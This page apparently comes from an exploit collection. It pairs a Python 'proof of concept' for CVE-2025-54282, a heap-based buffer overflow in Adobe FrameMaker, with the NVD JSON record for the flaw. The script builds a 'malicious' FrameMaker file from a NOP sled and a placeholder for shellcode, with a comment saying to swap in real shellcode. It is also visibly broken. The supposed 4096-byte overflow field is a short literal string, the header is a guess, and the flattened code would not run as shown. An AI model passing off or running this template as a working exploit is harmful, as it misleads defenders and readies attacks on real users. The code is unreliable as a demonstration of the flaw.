CVE-2025-54282

# CVE-2025-54282 PoC - Adobe Framemaker Heap-based Buffer Overflow # This PoC demonstrates a basic approach to triggering the heap-based buffer overflow # in Adobe Framemaker 2020.9, 2022.7 and earlier versions. import struct import sys def create_malicious_fm_file(output_path): """ Create a malicious Adobe Framemaker document that triggers heap-based buffer overflow (CVE-2025-54282). """ # FM file header magic bytes (simplified) header = b"\x46\x4D\x00\x01" # FM signature # Normal document structure marker doc_start = b"<Doc>\n" # Craft a malicious field with oversized data to trigger heap overflow # The vulnerability exists in parsing specific string/binary fields overflow_field = b"<Field name=\"A\" * 4096>" # Payload to overwrite heap metadata # Using NOP sled + shellcode pattern (for demonstration only) nop_sled = b"\x90" * 256 # Simple shellcode placeholder (replace with actual payload) # In real exploitation, this would be architecture-specific shellcode shellcode_placeholder = b"\xCC" * 128 # INT3 breakpoints for debugging # Construct the overflow payload overflow_payload = nop_sled + shellcode_placeholder # Combine all parts malicious_content = header + doc_start + overflow_field + overflow_payload # Add document footer malicious_content += b"\n</Doc>" # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_content) print(f"[+] Malicious FM file created: {output_path}") print(f"[+] File size: {len(malicious_content)} bytes") print("[!] WARNING: This file should only be used for authorized testing") if __name__ == "__main__": output = sys.argv[1] if len(sys.argv) > 1 else "exploit.fm" create_malicious_fm_file(output)

{"cve": {"id": "CVE-2025-54282", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:39.060", "lastModified": "2025-10-17T14:53:48.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Framemaker versions 2020.9, 2022.7 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:*", "versionEndExcluding": "2020.10", "matchCriteriaId": "388F038A-4436-4CEC-9A7E-42C886265659"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:framemaker:*:*:*:*:*:*:*:*", "versionStartIncluding": "2022", "versionEndExcluding": "2022.8", "matchCriteriaId": "ADEEB295-8FA3-4719-BEFA-570A9D8A5394"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/framemaker/apsb25-101.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}